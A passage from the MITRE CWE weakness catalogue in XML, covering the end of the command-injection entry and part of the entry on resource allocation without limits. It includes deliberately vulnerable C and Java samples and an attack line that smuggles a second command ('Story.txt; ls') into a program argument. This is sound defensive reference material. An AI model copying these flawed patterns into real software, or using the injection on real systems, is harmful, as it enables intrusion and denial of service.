							with the privileges necessary to perform system operations, which means
							the attacker's make will now be run with these privileges, possibly
							giving the attacker complete control of the system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code is a wrapper around the UNIX command cat which
						prints the contents of a file to standard out. It is also
						injectable:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;unistd.h&gt;</Code>
							              <Code/>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code/>
								                <Code>char cat[] = "cat ";</Code>
								                <Code>char *command;</Code>
								                <Code>size_t commandLength;</Code>
								                <Code/>
								                <Code>commandLength = strlen(cat) + strlen(argv[1]) + 1;</Code>
								                <Code>command = (char *) malloc(commandLength);</Code>
								                <Code>strncpy(command, cat, commandLength);</Code>
								                <Code>strncat(command, argv[1], (commandLength - strlen(cat))
									);</Code>
								                <Code/>
								                <Code>system(command);</Code>
								                <Code>return (0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Used normally, the output is simply the contents of the file
							requested:</Text>
						            <Block>
							              <Code>$ ./catWrapper Story.txt</Code>
							              <Code>When last we left our heroes...</Code>
						            </Block>
						            <Text>However, if we add a semicolon and another command to the end of this
							line, the command is executed by catWrapper with no complaint:</Text>
						            <Block Block_Nature="Attack">
							              <Code>$ ./catWrapper Story.txt; ls</Code>
							              <Code>When last we left our heroes...</Code>
							              <Code>Story.txt</Code>
							              <Code>SensitiveFile.txt</Code>
							              <Code>PrivateData.db</Code>
							              <Code>a.out*</Code>
						            </Block>
						            <Text>If catWrapper had been set to have a higher privilege level than the
							standard user, arbitrary commands could be executed with that higher
							privilege.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>G. Hoglund</Reference_Author>
					          <Reference_Author>G. McGraw</Reference_Author>
					          <Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>February 2004</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 10: Command Injection." Page 171</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Command Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Command injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>11</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>136</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>23</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Command
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Data into
						a Control Plane (aka 'Command Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Failure to Sanitize Data into
						a Control Plane ('Command Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Special Elements used in a Command ('Command
						Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="770" Name="Allocation of Resources Without Limits or Throttling" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software allocates a reusable resource or group of
					resources on behalf of an actor without imposing any restrictions on how many
					resources can be allocated, in violation of the intended security policy for
					that actor.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>665</Relationship_Target_ID>
					          <!--Improper Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-Independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>"Resource exhaustion" (CWE-400) is currently treated as a weakness,
						although it is more like a category of weaknesses that all have the same
						type of consequence. While this entry treats CWE-400 as a parent in view
						1000, the relationship is probably more appropriately described as a
						chain.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>System Configuration</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							other systems, applications, or processes from accessing the same type
							of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-8">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual static analysis can be useful for finding this weakness, but it
							might not achieve desired code coverage within limited time constraints.
							If denial-of-service is not considered a significant risk, or if there
							is strong emphasis on consequences such as code execution, then manual
							analysis may not focus on this weakness at all.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Fuzzing</Method_Name>
					          <Method_Description>
						            <Text>While fuzzing is typically geared toward finding low-level
							implementation bugs, it can inadvertently find uncontrolled resource
							allocation problems. This can occur when the fuzzer generates a large
							number of test cases but does not restart the targeted software in
							between test cases. If an individual test case produces a crash, but it
							does not do so reliably, then an inability to limit resource allocation
							may be the cause.</Text>
						            <Text>When the allocation is directly affected by numeric inputs, then
							fuzzing may produce indications of this weakness.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Opportunistic</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Certain automated dynamic analysis techniques may be effective in
							producing side effects of uncontrolled resource allocation problems,
							especially with resources such as processes, memory, and connections.
							The technique may involve generating a large number of requests to the
							software within a short time frame. Manual analysis is likely required
							to interpret the results.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Specialized configuration or tuning may be required to train automated
							tools to recognize this weakness.</Text>
						            <Text>Automated static analysis typically has limited utility in recognizing
							unlimited allocation problems, except for the missing release of
							program-independent system resources such as files, sockets, and
							processes, or unchecked arguments to memory. For system resources,
							automated static analysis may be able to detect circumstances in which
							resources are not released after they have expired, or if too much of a
							resource is requested at once, as can occur with memory. Automated
							analysis of configuration files may be able to detect settings that do
							not specify a maximum value.</Text>
						            <Text>Automated static analysis tools will not be appropriate for detecting
							exhaustion of custom resources, such as an intended security policy in
							which a bulletin board user is only allowed to make a limited number of
							posts per day.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clearly specify the minimum and maximum expectations for capabilities,
							and dictate which behaviors are acceptable when resource allocation
							reaches limits.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Limit the amount of resources that are accessible to unprivileged
							users. Set per-user limits for resources. Allow the system administrator
							to define these limits. Be careful to avoid CWE-410.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design throttling mechanisms into the system architecture. The best
							protection is to limit the amount of resources that an unauthorized user
							can cause to be expended. A strong authentication and access control
							model will help prevent such attacks from occurring in the first place,
							and it will help the administrator to identify who is committing the
							abuse. The login application should be protected against DoS attacks as
							much as possible. Limiting the database access, perhaps by caching
							result sets, can help minimize the resources expended. To further limit
							the potential for a DoS attack, consider tracking the rate of requests
							received from users and blocking requests that exceed a defined rate
							threshold.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This will only be applicable to cases where user input can influence
							the size or frequency of resource allocations.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Mitigation of resource exhaustion attacks requires that the target
							system either: </Text>
						            <Block Block_Nature="List">
							              <Text>recognizes the attack and denies that user further access for a
								given amount of time, typically by using increasing time
								delays</Text>
							              <Text>uniformly throttles all requests in order to make it more
								difficult to consume resources more quickly than they can again be
								freed. </Text>
						            </Block>
						            <Text>The first of these solutions is an issue in itself though, since it
							may allow attackers to prevent the use of the system by a particular
							valid user. If the attacker impersonates the valid user, he may be able
							to prevent the user from accessing the server in question. </Text>
						            <Text>The second solution can be difficult to effectively institute -- and
							even when properly done, it does not provide a full solution. It simply
							requires more resources on the part of the attacker. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that protocols have specific limits of scale placed on
							them.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-38.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If the program must fail, ensure that it fails gracefully (fails
							closed). There may be a temptation to simply let the program fail poorly
							in cases such as low memory conditions, but an attacker may be able to
							assert control before the software has fully exited. Alternately, an
							uncontrolled failure could cause cascading problems with other
							downstream components; for example, the program could send a signal to a
							downstream process so the process immediately knows that a problem has
							occurred and has a better chance of recovery.</Text>
						            <Text>Ensure that all failures in resource allocation place the system into
							a safe posture.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-25">
					          <Intro_Text>This code allocates a socket and forks each time it receives a new
						connection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Block>
								                <Code>sock=socket(AF_INET, SOCK_STREAM, 0);</Code>
								                <Code>while (1) {</Code>
								                <Block>
									                  <Code>newsock=accept(sock, ...);</Code>
									                  <Code>printf("A connection has been accepted\n");</Code>
									                  <Code>pid = fork();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
						            <Text>The program does not track how many connections have been made, and it
							does not limit the number of connections. Because forking is a
							relatively expensive operation, an attacker would be able to cause the
							system to run out of CPU, processes, or memory by making a large number
							of connections. Alternatively, an attacker could consume all available
							connections, preventing others from accessing the system
							remotely.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-50">
					          <Intro_Text>In the following example a server socket connection is used to
						accept a request to store data on the local file system using a specified
						filename. The method openSocketConnection establishes a server socket to
						accept requests from a client. When a client establishes a connection to
						this service the getNextMessage method is first used to retrieve from the
						socket the name of the file to store the data, the openFileToWrite method
						will validate the filename and open a file to write to on the local file
						system. The getNextMessage is then used within a while loop to continuously
						read data from the socket and output the data to the file until there is no
						longer any data from the socket.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int writeDataFromSocketToFile(char *host, int port)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code/>
								                <Code>char filename[FILENAME_SIZE];</Code>
								                <Code>char buffer[BUFFER_SIZE];</Code>
								                <Code>int socket = openSocketConnection(host, port);</Code>
								                <Code/>
								                <Code>if (socket &lt; 0) {</Code>
								                <Block>
									                  <Code>printf("Unable to open socket connection");</Code>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (getNextMessage(socket, filename, FILENAME_SIZE) &gt;
									0) {</Code>
								                <Block>
									                  <Code>if (openFileToWrite(filename) &gt; 0) {</Code>
									                  <Block>
										                    <Code>while (getNextMessage(socket, buffer, BUFFER_SIZE)
											&gt; 0){</Code>
										                    <Block>
											                      <Code>if (!(writeToFile(buffer) &gt; 0))</Code>
											                      <Block>
												                        <Code>break;</Code>
											                      </Block>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>closeFile();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>closeSocket(socket);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example creates a situation where data can be dumped to a file on
							the local file system without any limits on the size of the file. This
							could potentially exhaust file or disk resources and/or limit other
							clients' ability to access the service. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-51">
					          <Intro_Text>In the following example, the processMessage method receives a two
						dimensional character array containing the message to be processed. The
						two-dimensional character array contains the length of the message in the
						first character array and the message body in the second character array.
						The getMessageLength method retrieves the integer value of the length from
						the first character array. After validating that the message length is
						greater than zero, the body character array pointer points to the start of
						the second character array of the two-dimensional character array and memory
						is allocated for the new body character array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Comment>/* process message accepts a two-dimensional character array of
								the form [length][body] containing the message to be processed
								*/</Comment>
							              <Code>int processMessage(char **message)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>char *body;</Code>
								                <Code/>
								                <Code>int length = getMessageLength(message[0]);</Code>
								                <Code/>
								                <Code>if (length &gt; 0) {</Code>
								                <Block>
									                  <Code>body = &amp;message[1][0];</Code>
									                  <Code>processMessageBody(body);</Code>
									                  <Code>return(SUCCESS);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Unable to process message; invalid message
										length");</Code>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example creates a situation where the length of the body
							character array can be very large and will consume excessive memory,
							exhausting system resources. This can be avoided by restricting the
							length of the second character array with a maximum length check</Text>
						            <Text>Also, consider changing the type from 'int' to 'unsigned int', so that
							you are always guaranteed that the number is positive. This might not be
							possible if the protocol specifically requires allowing negative values,
							or if you cannot control the return value from getMessageLength(), but
							it could simplify the check to ensure the input is positive, and
							eliminate other errors such as signed-to-unsigned conversion errors
							(CWE-195) that may occur elsewhere in the code. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>unsigned int length = getMessageLength(message[0]);</Code>
							              <Code>if ((length &gt; 0) &amp;&amp; (length &lt;
								MAX_LENGTH)) {...}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-52">
					          <Intro_Text>In the following example, a server object creates a server socket
						and accepts client connections to the socket. For every client connection to
						the socket a separate thread object is generated using the
						ClientSocketThread class that handles request made by the client through the
						socket.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void acceptConnections() {</Code>
							              <Code/>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>ServerSocket serverSocket = new
										ServerSocket(SERVER_PORT);</Code>
									                  <Code>int counter = 0;</Code>
									                  <Code>boolean hasConnections = true;</Code>
									                  <Code>while (hasConnections) {</Code>
									                  <Block>
										                    <Code>Socket client = serverSocket.accept();</Code>
										                    <Code>Thread t = new Thread(new
											ClientSocketThread(client));</Code>
										                    <Code>t.setName(client.getInetAddress().getHostName() + ":"
											+ counter++);</Code>
										                    <Code>t.start();</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>serverSocket.close();</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (IOException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this example there is no limit to the number of client connections
							and client threads that are created. Allowing an unlimited number of
							client connections and threads could potentially overwhelm the system
							and system resources.</Text>
						            <Text>The server should limit the number of client connections and the
							client threads that are created. This can be easily done by creating a
							thread pool object that limits the number of threads that are
							generated.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static final int SERVER_PORT = 4444;</Code>
							              <Code>public static final int MAX_CONNECTIONS = 10; </Code>
							              <Code>...</Code>
							              <Code/>
							              <Code>public void acceptConnections() {</Code>
							              <Code/>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>ServerSocket serverSocket = new
										ServerSocket(SERVER_PORT);</Code>
									                  <Code>int counter = 0;</Code>
									                  <Code>boolean hasConnections = true;</Code>
									                  <Code>while (hasConnections) {</Code>
									                  <Block>
										                    <Code>hasConnections = checkForMoreConnections();</Code>
